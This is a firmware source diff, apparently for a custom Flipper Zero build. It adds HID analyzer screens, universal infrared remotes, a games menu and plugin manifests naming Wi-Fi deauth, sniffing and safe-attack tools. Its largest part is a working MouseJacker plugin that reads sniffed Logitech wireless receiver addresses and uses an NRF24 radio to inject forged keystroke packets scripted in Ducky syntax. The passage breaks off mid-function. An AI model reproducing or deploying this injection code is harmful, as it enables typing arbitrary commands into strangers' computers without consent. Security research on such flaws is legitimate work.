header->set_text("HID", 89, 3, 0, AlignCenter);
// auto line_1_text = container->add<StringElement>();
auto line_2_text = container->add<StringElement>();
// auto line_3_text = container->add<StringElement>();
// auto line_1_value = container->add<StringElement>();
auto line_2_value = container->add<StringElement>();
// auto line_3_value = container->add<StringElement>();
const uint8_t* data = app->worker.key.get_data();
// line_1_text->set_text("Hi:", 65, 23, 0, AlignRight, AlignBottom, FontSecondary);
line_2_text->set_text("Bit:", 65, 35, 0, AlignRight, AlignBottom, FontSecondary);
// line_3_text->set_text("Bye:", 65, 47, 0, AlignRight, AlignBottom, FontSecondary);
string_printf(string[1], "%u", data[0]);
// line_1_value->set_text(
// string_get_cstr(string[0]), 68, 23, 0, AlignLeft, AlignBottom, FontSecondary);
line_2_value->set_text(
string_get_cstr(string[1]), 68, 35, 0, AlignLeft, AlignBottom, FontSecondary);
// line_3_value->set_text(
// string_get_cstr(string[2]), 68, 47, 0, AlignLeft, AlignBottom, FontSecondary);
app->view_controller.switch_to<ContainerVM>();
notification_message_block(app->notification, &sequence_set_green_255);
}
bool HIDAppSceneReadSuccess::on_event(HIDApp* app, HIDApp::Event* event) {
bool consumed = false;
if(event->type == HIDApp::EventType::Retry) {
app->scene_controller.search_and_switch_to_previous_scene({HIDApp::SceneType::Read});
consumed = true;
} else if(event->type == HIDApp::EventType::Back) {
app->scene_controller.search_and_switch_to_previous_scene({HIDApp::SceneType::Read});
consumed = true;
}
return consumed;
}
void HIDAppSceneReadSuccess::on_exit(HIDApp* app) {
notification_message_block(app->notification, &sequence_reset_green);
app->view_controller.get<ContainerVM>()->clean();
string_clear(string[0]);
string_clear(string[1]);
string_clear(string[2]);
}
void HIDAppSceneReadSuccess::back_callback(void* context) {
HIDApp* app = static_cast<HIDApp*>(context);
HIDApp::Event event;
event.type = HIDApp::EventType::Retry;
app->view_controller.send_event(&event);
}

View file

@ -0,0 +1,14 @@
#pragma once
#include "../hid_analyzer_app.h"
class HIDAppSceneReadSuccess : public GenericScene<HIDApp> {
public:
void on_enter(HIDApp* app, bool need_restore) final;
bool on_event(HIDApp* app, HIDApp::Event* event) final;
void on_exit(HIDApp* app) final;
private:
static void back_callback(void* context);
string_t string[3];
};

View file

@ -0,0 +1,17 @@
#pragma once
#include <view_modules/generic_view_module.h>
class ContainerVM : public GenericViewModule {
public:
ContainerVM();
~ContainerVM() final;
View* get_view() final;
void clean() final;
template <typename T> T* add();
private:
View* view;
static void view_draw_callback(Canvas* canvas, void* model);
static bool view_input_callback(InputEvent* event, void* context);
};

View file

@ -0,0 +1,28 @@
#pragma once
#include "generic_element.h"
typedef void (*ButtonElementCallback)(void* context);
class ButtonElement : public GenericElement {
public:
ButtonElement();
~ButtonElement() final;
void draw(Canvas* canvas) final;
bool input(InputEvent* event) final;
enum class Type : uint8_t {
Left,
Center,
Right,
};
void set_type(Type type, const char* text);
void set_callback(void* context, ButtonElementCallback callback);
private:
Type type = Type::Left;
const char* text = nullptr;
void* context = nullptr;
ButtonElementCallback callback = nullptr;
};

View file

@ -0,0 +1,21 @@
#pragma once
#include <gui/gui.h>
#include <gui/view.h>
class GenericElement {
public:
GenericElement(){};
virtual ~GenericElement(){};
virtual void draw(Canvas* canvas) = 0;
virtual bool input(InputEvent* event) = 0;
// TODO that must be accessible only to ContainerVMData
void set_parent_view(View* view);
// TODO that must be accessible only to inheritors
void lock_model();
void unlock_model(bool need_redraw);
private:
View* view = nullptr;
};

View file

@ -0,0 +1,17 @@
#pragma once
#include "generic_element.h"
class IconElement : public GenericElement {
public:
IconElement();
~IconElement() final;
void draw(Canvas* canvas) final;
bool input(InputEvent* event) final;
void set_icon(uint8_t x = 0, uint8_t y = 0, const Icon* icon = NULL);
private:
const Icon* icon = NULL;
uint8_t x = 0;
uint8_t y = 0;
};

View file

@ -0,0 +1,28 @@
#pragma once
#include "generic_element.h"
class StringElement : public GenericElement {
public:
StringElement();
~StringElement() final;
void draw(Canvas* canvas) final;
bool input(InputEvent* event) final;
void set_text(
const char* text = NULL,
uint8_t x = 0,
uint8_t y = 0,
uint8_t fit_width = 0,
Align horizontal = AlignLeft,
Align vertical = AlignTop,
Font font = FontPrimary);
private:
const char* text = NULL;
uint8_t x = 0;
uint8_t y = 0;
uint8_t fit_width = 0;
Align horizontal = AlignLeft;
Align vertical = AlignTop;
Font font = FontPrimary;
};

View file

@ -15,6 +15,8 @@ ADD_SCENE(infrared, remote, Remote)
ADD_SCENE(infrared, remote_list, RemoteList)
ADD_SCENE(infrared, universal, Universal)
ADD_SCENE(infrared, universal_tv, UniversalTV)
ADD_SCENE(infrared, universal_ac, UniversalAC)
ADD_SCENE(infrared, universal_audio, UniversalAudio)
ADD_SCENE(infrared, debug, Debug)
ADD_SCENE(infrared, error_databases, ErrorDatabases)
ADD_SCENE(infrared, rpc, Rpc)

View file

@ -23,6 +23,20 @@ void infrared_scene_universal_on_enter(void* context) {
context);
submenu_set_selected_item(submenu, 0);
submenu_add_item(
submenu,
"Audio",
SubmenuIndexUniversalAudio,
infrared_scene_universal_submenu_callback,
context);
submenu_add_item(
submenu,
"ACs",
SubmenuIndexUniversalAirConditioner,
infrared_scene_universal_submenu_callback,
context);
view_dispatcher_switch_to_view(infrared->view_dispatcher, InfraredViewSubmenu);
}
@ -36,10 +50,10 @@ bool infrared_scene_universal_on_event(void* context, SceneManagerEvent event) {
scene_manager_next_scene(scene_manager, InfraredSceneUniversalTV);
consumed = true;
} else if(event.event == SubmenuIndexUniversalAudio) {
//TODO Implement Audio universal remote
scene_manager_next_scene(scene_manager, InfraredSceneUniversalAudio);
consumed = true;
} else if(event.event == SubmenuIndexUniversalAirConditioner) {
//TODO Implement A/C universal remote
scene_manager_next_scene(scene_manager, InfraredSceneUniversalAC);
consumed = true;
}
}

View file

@ -0,0 +1,50 @@
#include "../infrared_i.h"
#include "common/infrared_scene_universal_common.h"
void infrared_scene_universal_ac_on_enter(void* context) {
infrared_scene_universal_common_on_enter(context);
Infrared* infrared = context;
ButtonPanel* button_panel = infrared->button_panel;
InfraredBruteForce* brute_force = infrared->brute_force;
infrared_brute_force_set_db_filename(brute_force, EXT_PATH("infrared/assets/ac.ir"));
//TODO Improve A/C universal remote
button_panel_reserve(button_panel, 1, 1);
uint32_t i = 0;
button_panel_add_item(
button_panel,
i,
0,
0,
20,
19,
&I_Power_25x27,
&I_Power_hvr_25x27,
infrared_scene_universal_common_item_callback,
context);
infrared_brute_force_add_record(brute_force, i++, "POWER");
button_panel_add_label(button_panel, 6, 11, FontPrimary, "AC remote");
view_set_orientation(view_stack_get_view(infrared->view_stack), ViewOrientationVertical);
view_dispatcher_switch_to_view(infrared->view_dispatcher, InfraredViewStack);
infrared_show_loading_popup(infrared, true);
bool success = infrared_brute_force_calculate_messages(brute_force);
infrared_show_loading_popup(infrared, false);
if(!success) {
scene_manager_next_scene(infrared->scene_manager, InfraredSceneErrorDatabases);
}
}
bool infrared_scene_universal_ac_on_event(void* context, SceneManagerEvent event) {
return infrared_scene_universal_common_on_event(context, event);
}
void infrared_scene_universal_ac_on_exit(void* context) {
infrared_scene_universal_common_on_exit(context);
}

View file

@ -0,0 +1,61 @@
#include "../infrared_i.h"
#include "common/infrared_scene_universal_common.h"
void infrared_scene_universal_audio_on_enter(void* context) {
infrared_scene_universal_common_on_enter(context);
Infrared* infrared = context;
ButtonPanel* button_panel = infrared->button_panel;
InfraredBruteForce* brute_force = infrared->brute_force;
infrared_brute_force_set_db_filename(brute_force, EXT_PATH("infrared/assets/audio.ir"));
//TODO Improve Audio universal remote
button_panel_reserve(button_panel, 2, 1);
uint32_t i = 0;
button_panel_add_item(
button_panel,
i,
0,
0,
3,
19,
&I_Power_25x27,
&I_Power_hvr_25x27,
infrared_scene_universal_common_item_callback,
context);
infrared_brute_force_add_record(brute_force, i++, "POWER");
button_panel_add_item(
button_panel,
i,
1,
0,
36,
19,
&I_Mute_25x27,
&I_Mute_hvr_25x27,
infrared_scene_universal_common_item_callback,
context);
infrared_brute_force_add_record(brute_force, i++, "MUTE");
button_panel_add_label(button_panel, 4, 11, FontSecondary, "Audio remote");
view_set_orientation(view_stack_get_view(infrared->view_stack), ViewOrientationVertical);
view_dispatcher_switch_to_view(infrared->view_dispatcher, InfraredViewStack);
infrared_show_loading_popup(infrared, true);
bool success = infrared_brute_force_calculate_messages(brute_force);
infrared_show_loading_popup(infrared, false);
if(!success) {
scene_manager_next_scene(infrared->scene_manager, InfraredSceneErrorDatabases);
}
}
bool infrared_scene_universal_audio_on_event(void* context, SceneManagerEvent event) {
return infrared_scene_universal_common_on_event(context, event);
}
void infrared_scene_universal_audio_on_exit(void* context) {
infrared_scene_universal_common_on_exit(context);
}

View file

@ -82,6 +82,10 @@ const FlipperApplication* loader_find_application_by_name(const char* name) {
application =
loader_find_application_by_name_in_list(name, FLIPPER_PLUGINS, FLIPPER_PLUGINS_COUNT);
}
if(!application) {
application =
loader_find_application_by_name_in_list(name, FLIPPER_GAMES, FLIPPER_GAMES_COUNT);
}
if(!application) {
application = loader_find_application_by_name_in_list(
name, FLIPPER_SETTINGS_APPS, FLIPPER_SETTINGS_APPS_COUNT);
@ -151,6 +155,11 @@ void loader_cli_list(Cli* cli, string_t args, Loader* instance) {
printf("\t%s\r\n", FLIPPER_PLUGINS[i].name);
}
printf("Games:\r\n");
for(size_t i = 0; i < FLIPPER_GAMES_COUNT; i++) {
printf("\t%s\r\n", FLIPPER_GAMES[i].name);
}
if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) {
printf("Debug:\r\n");
for(size_t i = 0; i < FLIPPER_DEBUG_APPS_COUNT; i++) {
@ -318,6 +327,13 @@ static Loader* loader_alloc() {
instance->view_dispatcher,
LoaderMenuViewPlugins,
submenu_get_view(instance->plugins_menu));
// Games menu
instance->games_menu = submenu_alloc();
view_set_context(submenu_get_view(instance->games_menu), instance->games_menu);
view_set_previous_callback(
submenu_get_view(instance->games_menu), loader_back_to_primary_menu);
view_dispatcher_add_view(
instance->view_dispatcher, LoaderMenuViewGames, submenu_get_view(instance->games_menu));
// Debug menu
instance->debug_menu = submenu_alloc();
view_set_context(submenu_get_view(instance->debug_menu), instance->debug_menu);
@ -355,6 +371,8 @@ static void loader_free(Loader* instance) {
view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewPrimary);
submenu_free(loader_instance->plugins_menu);
view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewPlugins);
submenu_free(loader_instance->games_menu);
view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewGames);
submenu_free(loader_instance->debug_menu);
view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewDebug);
submenu_free(loader_instance->settings_menu);
@ -388,6 +406,15 @@ static void loader_build_menu() {
loader_submenu_callback,
(void*)LoaderMenuViewPlugins);
}
if(FLIPPER_GAMES_COUNT != 0) {
menu_add_item(
loader_instance->primary_menu,
"Games",
&A_Games_14,
i++,
loader_submenu_callback,
(void*)LoaderMenuViewGames);
}
if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) {
menu_add_item(
loader_instance->primary_menu,
@ -418,6 +445,16 @@ static void loader_build_submenu() {
(void*)&FLIPPER_PLUGINS[i]);
}
FURI_LOG_I(TAG, "Building games menu");
for(i = 0; i < FLIPPER_GAMES_COUNT; i++) {
submenu_add_item(
loader_instance->games_menu,
FLIPPER_GAMES[i].name,
i,
loader_menu_callback,
(void*)&FLIPPER_GAMES[i]);
}
FURI_LOG_I(TAG, "Building debug menu");
for(i = 0; i < FLIPPER_DEBUG_APPS_COUNT; i++) {
submenu_add_item(

View file

@ -27,6 +27,7 @@ struct Loader {
ViewDispatcher* view_dispatcher;
Menu* primary_menu;
Submenu* plugins_menu;
Submenu* games_menu;
Submenu* debug_menu;
Submenu* settings_menu;
@ -38,6 +39,7 @@ struct Loader {
typedef enum {
LoaderMenuViewPrimary,
LoaderMenuViewPlugins,
LoaderMenuViewGames,
LoaderMenuViewDebug,
LoaderMenuViewSettings,
} LoaderMenuView;

View file

@ -35,7 +35,48 @@ App(
apptype=FlipperAppType.METAPACKAGE,
provides=[
"music_player",
"snake_game",
"bt_hid",
],
)
App(
appid="custom_games",
name="Custom applications for games menu",
apptype=FlipperAppType.METAPACKAGE,
provides=[
"snake_game",
"tetris_game",
"arkanoid_game",
"tictactoe_game",
],
)
App(
appid="custom_apps",
name="Custom applications for main menu",
apptype=FlipperAppType.METAPACKAGE,
provides=[
"clock",
"spectrum_analyzer",
"unirfremix",
],
)
App(
appid="custom_plugins",
name="Custom applications for plug-in menu",
apptype=FlipperAppType.METAPACKAGE,
provides=[
"picopass",
"hid_analyzer",
"barcode_generator",
"mouse_jacker",
"nrf_sniff",
"sentry_safe",
"wifi_marauder",
"esp8266_deauth",
"wifi_scanner",
"wav_player",
"dec_hex_converter",
],
)

View file

@ -0,0 +1,13 @@
App(
appid="mouse_jacker",
name="[NRF24] Mouse Jacker",
apptype=FlipperAppType.PLUGIN,
entry_point="mousejacker_app",
cdefines=["APP_MOUSEJACKER"],
requires=[
"gui",
"dialogs",
],
stack_size=2 * 1024,
order=60,
)

View file

@ -0,0 +1,337 @@
#include <furi.h>
#include <gui/gui.h>
#include <dialogs/dialogs.h>
#include <input/input.h>
#include <stdlib.h>
#include <furi_hal.h>
#include <furi_hal_gpio.h>
#include <furi_hal_spi.h>
#include <furi_hal_interrupt.h>
#include <furi_hal_resources.h>
#include <nrf24.h>
#include <toolbox/stream/file_stream.h>
#include "mousejacker_ducky.h"
#define TAG "mousejacker"
#define LOGITECH_MAX_CHANNEL 85
#define NRFSNIFF_APP_PATH_FOLDER "/ext/nrfsniff"
#define NRFSNIFF_APP_PATH_EXTENSION ".txt"
#define NRFSNIFF_APP_FILENAME "addresses.txt"
#define MOUSEJACKER_APP_PATH_FOLDER "/ext/mousejacker"
#define MOUSEJACKER_APP_PATH_EXTENSION ".txt"
#define MAX_ADDRS 100
typedef enum {
EventTypeTick,
EventTypeKey,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} PluginEvent;
typedef struct {
int x;
int y;
bool ducky_err;
bool addr_err;
} PluginState;
uint8_t addrs_count = 0;
uint8_t loaded_addrs[MAX_ADDRS][6]; // first byte is rate, the rest are the address
char target_fmt_text[] = "Target addr: %s";
char target_address_str[12] = "None";
char target_text[30];
static void render_callback(Canvas* const canvas, void* ctx) {
const PluginState* plugin_state = acquire_mutex((ValueMutex*)ctx, 25);
if(plugin_state == NULL) {
return;
}
// border around the edge of the screen
canvas_draw_frame(canvas, 0, 0, 128, 64);
canvas_set_font(canvas, FontSecondary);
if(!plugin_state->addr_err && !plugin_state->ducky_err) {
snprintf(target_text, sizeof(target_text), target_fmt_text, target_address_str);
canvas_draw_str_aligned(canvas, 7, 10, AlignLeft, AlignBottom, target_text);
canvas_draw_str_aligned(canvas, 22, 20, AlignLeft, AlignBottom, "<- select address ->");
canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "Press Ok button to ");
canvas_draw_str_aligned(canvas, 10, 40, AlignLeft, AlignBottom, "browse for ducky script");
} else if(plugin_state->addr_err) {
canvas_draw_str_aligned(
canvas, 10, 10, AlignLeft, AlignBottom, "Error: No nrfsniff folder");
canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, "or addresses.txt file");
canvas_draw_str_aligned(
canvas, 10, 30, AlignLeft, AlignBottom, "loading error / empty file");
canvas_draw_str_aligned(
canvas, 7, 40, AlignLeft, AlignBottom, "Run (NRF24: Sniff) app first!");
} else if(plugin_state->ducky_err) {
canvas_draw_str_aligned(
canvas, 10, 10, AlignLeft, AlignBottom, "Error: No mousejacker folder");
canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, "or duckyscript file");
canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "loading error");
}
release_mutex((ValueMutex*)ctx, plugin_state);
}
static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
PluginEvent event = {.type = EventTypeKey, .input = *input_event};
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
static void mousejacker_state_init(PluginState* const plugin_state) {
plugin_state->x = 50;
plugin_state->y = 30;
}
static void hexlify(uint8_t* in, uint8_t size, char* out) {
memset(out, 0, size * 2);
for(int i = 0; i < size; i++)
snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]);
}
static bool open_ducky_script(Stream* stream) {
DialogsApp* dialogs = furi_record_open("dialogs");
bool result = false;
string_t path;
string_init(path);
string_set_str(path, MOUSEJACKER_APP_PATH_FOLDER);
bool ret = dialog_file_browser_show(
dialogs, path, path, MOUSEJACKER_APP_PATH_EXTENSION, true, &I_badusb_10px, false);
furi_record_close("dialogs");
if(ret) {
if(!file_stream_open(stream, string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
FURI_LOG_I(TAG, "Cannot open file \"%s\"", (path));
} else {
result = true;
}
}
string_clear(path);
return result;
}
static bool open_addrs_file(Stream* stream) {
DialogsApp* dialogs = furi_record_open("dialogs");
bool result = false;
string_t path;
string_init(path);
string_set_str(path, NRFSNIFF_APP_PATH_FOLDER);
bool ret = dialog_file_browser_show(
dialogs, path, path, NRFSNIFF_APP_PATH_EXTENSION, true, &I_sub1_10px, false);
furi_record_close("dialogs");
if(ret) {
if(!file_stream_open(stream, string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
FURI_LOG_I(TAG, "Cannot open file \"%s\"", (path));
} else {
result = true;
}
}
string_clear(path);
return result;
}
static bool
process_ducky_file(Stream* file_stream, uint8_t* addr, uint8_t addr_size, uint8_t rate) {
size_t file_size = 0;
size_t bytes_read = 0;
uint8_t* file_buf;
bool loaded = false;
FURI_LOG_I(TAG, "opening ducky script");
if(open_ducky_script(file_stream)) {
file_size = stream_size(file_stream);
if(file_size == (size_t)0) {
FURI_LOG_I(TAG, "load failed. file_size: %d", file_size);
return loaded;
}
file_buf = malloc(file_size);
memset(file_buf, 0, file_size);
bytes_read = stream_read(file_stream, file_buf, file_size);
if(bytes_read == file_size) {
FURI_LOG_I(TAG, "executing ducky script");
mj_process_ducky_script(nrf24_HANDLE, addr, addr_size, rate, (char*)file_buf);
FURI_LOG_I(TAG, "finished execution");
loaded = true;
} else {
FURI_LOG_I(TAG, "load failed. file size: %d", file_size);
}
free(file_buf);
}
return loaded;
}
static bool load_addrs_file(Stream* file_stream) {
size_t file_size = 0;
size_t bytes_read = 0;
uint8_t* file_buf;
char* line_ptr;
uint8_t rate;
uint8_t addrlen = 0;
uint32_t counter = 0;
uint8_t addr[5] = {0};
uint32_t i_addr_lo = 0;
uint32_t i_addr_hi = 0;
bool loaded = false;
FURI_LOG_I(TAG, "opening addrs file");
addrs_count = 0;
if(open_addrs_file(file_stream)) {
file_size = stream_size(file_stream);
if(file_size == (size_t)0) {
FURI_LOG_I(TAG, "load failed. file_size: %d", file_size);
return loaded;
}
file_buf = malloc(file_size);
memset(file_buf, 0, file_size);
bytes_read = stream_read(file_stream, file_buf, file_size);
if(bytes_read == file_size) {
FURI_LOG_I(TAG, "loading addrs file");
char* line = strtok((char*)file_buf, "\n");
while(line != NULL) {
line_ptr = strstr((char*)line, ",");
*line_ptr = 0;
rate = atoi(line_ptr + 1);
addrlen = (uint8_t)(strlen(line) / 2);
i_addr_lo = strtoul(line + 2, NULL, 16);
line[2] = (char)0;
i_addr_hi = strtoul(line, NULL, 16);
int32_to_bytes(i_addr_lo, &addr[1], true);
addr[0] = (uint8_t)(i_addr_hi & 0xFF);
memset(loaded_addrs[counter], rate, 1);
memcpy(&loaded_addrs[counter++][1], addr, addrlen);
addrs_count++;
line = strtok(NULL, "\n");
loaded = true;
}
} else {
FURI_LOG_I(TAG, "load failed. file size: %d", file_size);
}
free(file_buf);
}
return loaded;
}
int32_t mousejacker_app(void* p) {
UNUSED(p);
uint8_t addr_idx = 0;
bool ducky_ok = false;
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
PluginState* plugin_state = malloc(sizeof(PluginState));
mousejacker_state_init(plugin_state);
ValueMutex state_mutex;
if(!init_mutex(&state_mutex, plugin_state, sizeof(PluginState))) {
FURI_LOG_E("mousejacker", "cannot create mutex\r\n");
free(plugin_state);
return 255;
}
// Set system callbacks
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, render_callback, &state_mutex);
view_port_input_callback_set(view_port, input_callback, event_queue);
// Open GUI and register view_port
Gui* gui = furi_record_open("gui");
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
Storage* storage = furi_record_open("storage");
storage_common_mkdir(storage, MOUSEJACKER_APP_PATH_FOLDER);
Stream* file_stream = file_stream_alloc(storage);
// spawn load file dialog to choose sniffed addresses file
if(load_addrs_file(file_stream)) {
addr_idx = 0;
hexlify(&loaded_addrs[addr_idx][1], 5, target_address_str);
plugin_state->addr_err = false;
} else {
plugin_state->addr_err = true;
}
stream_free(file_stream);
nrf24_init();
PluginEvent event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
PluginState* plugin_state = (PluginState*)acquire_mutex_block(&state_mutex);
if(event_status == FuriStatusOk) {
// press events
if(event.type == EventTypeKey) {
if(event.input.type == InputTypePress) {
switch(event.input.key) {
case InputKeyUp:
break;
case InputKeyDown:
break;
case InputKeyRight:
if(!plugin_state->addr_err) {
addr_idx++;
if(addr_idx > addrs_count) addr_idx = 0;
hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str);
}
break;
case InputKeyLeft:
if(!plugin_state->addr_err) {
addr_idx--;
if(addr_idx == 0) addr_idx = addrs_count - 1;
hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str);
}
break;
case InputKeyOk:
if(!plugin_state->addr_err) {
file_stream = file_stream_alloc(storage);
nrf24_find_channel(
nrf24_HANDLE,
loaded_addrs[addr_idx] + 1,
loaded_addrs[addr_idx] + 1,
5,
loaded_addrs[addr_idx][0],
2,
LOGITECH_MAX_CHANNEL,
true);
ducky_ok = process_ducky_file(
file_stream,
loaded_addrs[addr_idx] + 1,
5,
loaded_addrs[addr_idx][0]);
if(!ducky_ok) {
plugin_state->ducky_err = true;
} else {
plugin_state->ducky_err = false;
}
stream_free(file_stream);
}
break;
case InputKeyBack:
processing = false;
break;
}
}
}
} else {
FURI_LOG_D("mousejacker", "furi_message_queue: event timeout");
// event timeout
}
view_port_update(view_port);
release_mutex(&state_mutex, plugin_state);
}
furi_hal_spi_release(nrf24_HANDLE);
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close("gui");
furi_record_close("storage");
view_port_free(view_port);
furi_message_queue_free(event_queue);
return 0;
}

View file

@ -0,0 +1,355 @@
#include "mousejacker_ducky.h"
static const char ducky_cmd_comment[] = {"REM"};
static const char ducky_cmd_delay[] = {"DELAY "};
static const char ducky_cmd_string[] = {"STRING "};
static const char ducky_cmd_repeat[] = {"REPEAT "};
static uint8_t LOGITECH_HID_TEMPLATE[] =
{0x00, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
static uint8_t LOGITECH_HELLO[] = {0x00, 0x4F, 0x00, 0x04, 0xB0, 0x10, 0x00, 0x00, 0x00, 0xED};
static uint8_t LOGITECH_KEEPALIVE[] = {0x00, 0x40, 0x00, 0x55, 0x6B};
uint8_t prev_hid = 0;
#define RT_THRESHOLD 50
#define LOGITECH_MIN_CHANNEL 2
#define LOGITECH_MAX_CHANNEL 83
#define LOGITECH_KEEPALIVE_SIZE 5
#define LOGITECH_HID_TEMPLATE_SIZE 10
#define LOGITECH_HELLO_SIZE 10
#define TAG "mousejacker_ducky"
MJDuckyKey mj_ducky_keys[] = {{" ", 44, 0}, {"!", 30, 2}, {"\"", 52, 2},
{"#", 32, 2}, {"$", 33, 2}, {"%", 34, 2},
{"&", 36, 2}, {"'", 52, 0}, {"(", 38, 2},
{")", 39, 2}, {"*", 37, 2}, {"+", 46, 2},
{",", 54, 0}, {"-", 45, 0}, {".", 55, 0},
{"/", 56, 0}, {"0", 39, 0}, {"1", 30, 0},
{"2", 31, 0}, {"3", 32, 0}, {"4", 33, 0},
{"5", 34, 0}, {"6", 35, 0}, {"7", 36, 0},
{"8", 37, 0}, {"9", 38, 0}, {":", 51, 2},
{";", 51, 0}, {"<", 54, 2}, {"=", 46, 0},
{">", 55, 2}, {"?", 56, 2}, {"@", 31, 2},
{"A", 4, 2}, {"B", 5, 2}, {"C", 6, 2},
{"D", 7, 2}, {"E", 8, 2}, {"F", 9, 2},
{"G", 10, 2}, {"H", 11, 2}, {"I", 12, 2},
{"J", 13, 2}, {"K", 14, 2}, {"L", 15, 2},
{"M", 16, 2}, {"N", 17, 2}, {"O", 18, 2},
{"P", 19, 2}, {"Q", 20, 2}, {"R", 21, 2},
{"S", 22, 2}, {"T", 23, 2}, {"U", 24, 2},
{"V", 25, 2}, {"W", 26, 2}, {"X", 27, 2},
{"Y", 28, 2}, {"Z", 29, 2}, {"[", 47, 0},
{"\\", 49, 0}, {"]", 48, 0}, {"^", 35, 2},
{"_", 45, 2}, {"`", 53, 0}, {"a", 4, 0},
{"b", 5, 0}, {"c", 6, 0}, {"d", 7, 0},
{"e", 8, 0}, {"f", 9, 0}, {"g", 10, 0},
{"h", 11, 0}, {"i", 12, 0}, {"j", 13, 0},
{"k", 14, 0}, {"l", 15, 0}, {"m", 16, 0},
{"n", 17, 0}, {"o", 18, 0}, {"p", 19, 0},
{"q", 20, 0}, {"r", 21, 0}, {"s", 22, 0},
{"t", 23, 0}, {"u", 24, 0}, {"v", 25, 0},
{"w", 26, 0}, {"x", 27, 0}, {"y", 28, 0},
{"z", 29, 0}, {"{", 47, 2}, {"|", 49, 2},
{"}", 48, 2}, {"~", 53, 2}, {"BACKSPACE", 42, 0},
{"", 0, 0}, {"ALT", 0, 4}, {"SHIFT", 0, 2},
{"CTRL", 0, 1}, {"GUI", 0, 8}, {"SCROLLLOCK", 71, 0},
{"ENTER", 40, 0}, {"F12", 69, 0}, {"HOME", 74, 0},
{"F10", 67, 0}, {"F9", 66, 0}, {"ESCAPE", 41, 0},
{"PAGEUP", 75, 0}, {"TAB", 43, 0}, {"PRINTSCREEN", 70, 0},
{"F2", 59, 0}, {"CAPSLOCK", 57, 0}, {"F1", 58, 0},
{"F4", 61, 0}, {"F6", 63, 0}, {"F8", 65, 0},
{"DOWNARROW", 81, 0}, {"DELETE", 42, 0}, {"RIGHT", 79, 0},
{"F3", 60, 0}, {"DOWN", 81, 0}, {"DEL", 76, 0},
{"END", 77, 0}, {"INSERT", 73, 0}, {"F5", 62, 0},
{"LEFTARROW", 80, 0}, {"RIGHTARROW", 79, 0}, {"PAGEDOWN", 78, 0},
{"PAUSE", 72, 0}, {"SPACE", 44, 0}, {"UPARROW", 82, 0},
{"F11", 68, 0}, {"F7", 64, 0}, {"UP", 82, 0},
{"LEFT", 80, 0}};
/*
static bool mj_ducky_get_number(const char* param, uint32_t* val) {
uint32_t value = 0;
if(sscanf(param, "%lu", &value) == 1) {
*val = value;
return true;
}
return false;
}
*/
static uint32_t mj_ducky_get_command_len(const char* line) {
uint32_t len = strlen(line);
for(uint32_t i = 0; i < len; i++) {
if(line[i] == ' ') return i;
}
return 0;
}
static bool mj_get_ducky_key(char* key, size_t keylen, MJDuckyKey* dk) {
//FURI_LOG_I(TAG, "looking up key %s with length %d", key, keylen);
for(uint i = 0; i < sizeof(mj_ducky_keys) / sizeof(MJDuckyKey); i++) {
if(!strncmp(mj_ducky_keys[i].name, key, keylen)) {
memcpy(dk, &mj_ducky_keys[i], sizeof(MJDuckyKey));
return true;
}
}
return false;
}
static void checksum(uint8_t* payload, uint len) {
// This is also from the KeyKeriki paper
// Thanks Thorsten and Max!
uint8_t cksum = 0xff;
for(uint n = 0; n < len - 2; n++) cksum = (cksum - payload[n]) & 0xff;
cksum = (cksum + 1) & 0xff;
payload[len - 1] = cksum;
}
static void inject_packet(
FuriHalSpiBusHandle* handle,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
uint8_t* payload,
size_t payload_size) {
uint8_t rt_count = 0;
while(1) {
if(nrf24_txpacket(handle, payload, payload_size, true)) break;
rt_count++;
// retransmit threshold exceeded, scan for new channel
if(rt_count > RT_THRESHOLD) {
if(nrf24_find_channel(
handle,
addr,
addr,
addr_size,
rate,
LOGITECH_MIN_CHANNEL,
LOGITECH_MAX_CHANNEL,
true) > LOGITECH_MAX_CHANNEL)
return; // fail
rt_count = 0;
}
}
}
static void build_hid_packet(uint8_t mod, uint8_t hid, uint8_t* payload) {
memcpy(payload, LOGITECH_HID_TEMPLATE, LOGITECH_HID_TEMPLATE_SIZE);
payload[2] = mod;
payload[3] = hid;
checksum(payload, LOGITECH_HID_TEMPLATE_SIZE);
}
static void send_hid_packet(
FuriHalSpiBusHandle* handle,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
uint8_t mod,
uint8_t hid) {
uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0};
build_hid_packet(0, 0, hid_payload);
if(hid == prev_hid)
inject_packet(
handle,
addr,
addr_size,
rate,
hid_payload,
LOGITECH_HID_TEMPLATE_SIZE); // empty hid packet
prev_hid = hid;
build_hid_packet(mod, hid, hid_payload);
inject_packet(handle, addr, addr_size, rate, hid_payload, LOGITECH_HID_TEMPLATE_SIZE);
furi_delay_ms(12);
}
// returns false if there was an error processing script line
static bool mj_process_ducky_line(
FuriHalSpiBusHandle* handle,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
char* line,
char* prev_line) {
MJDuckyKey dk;
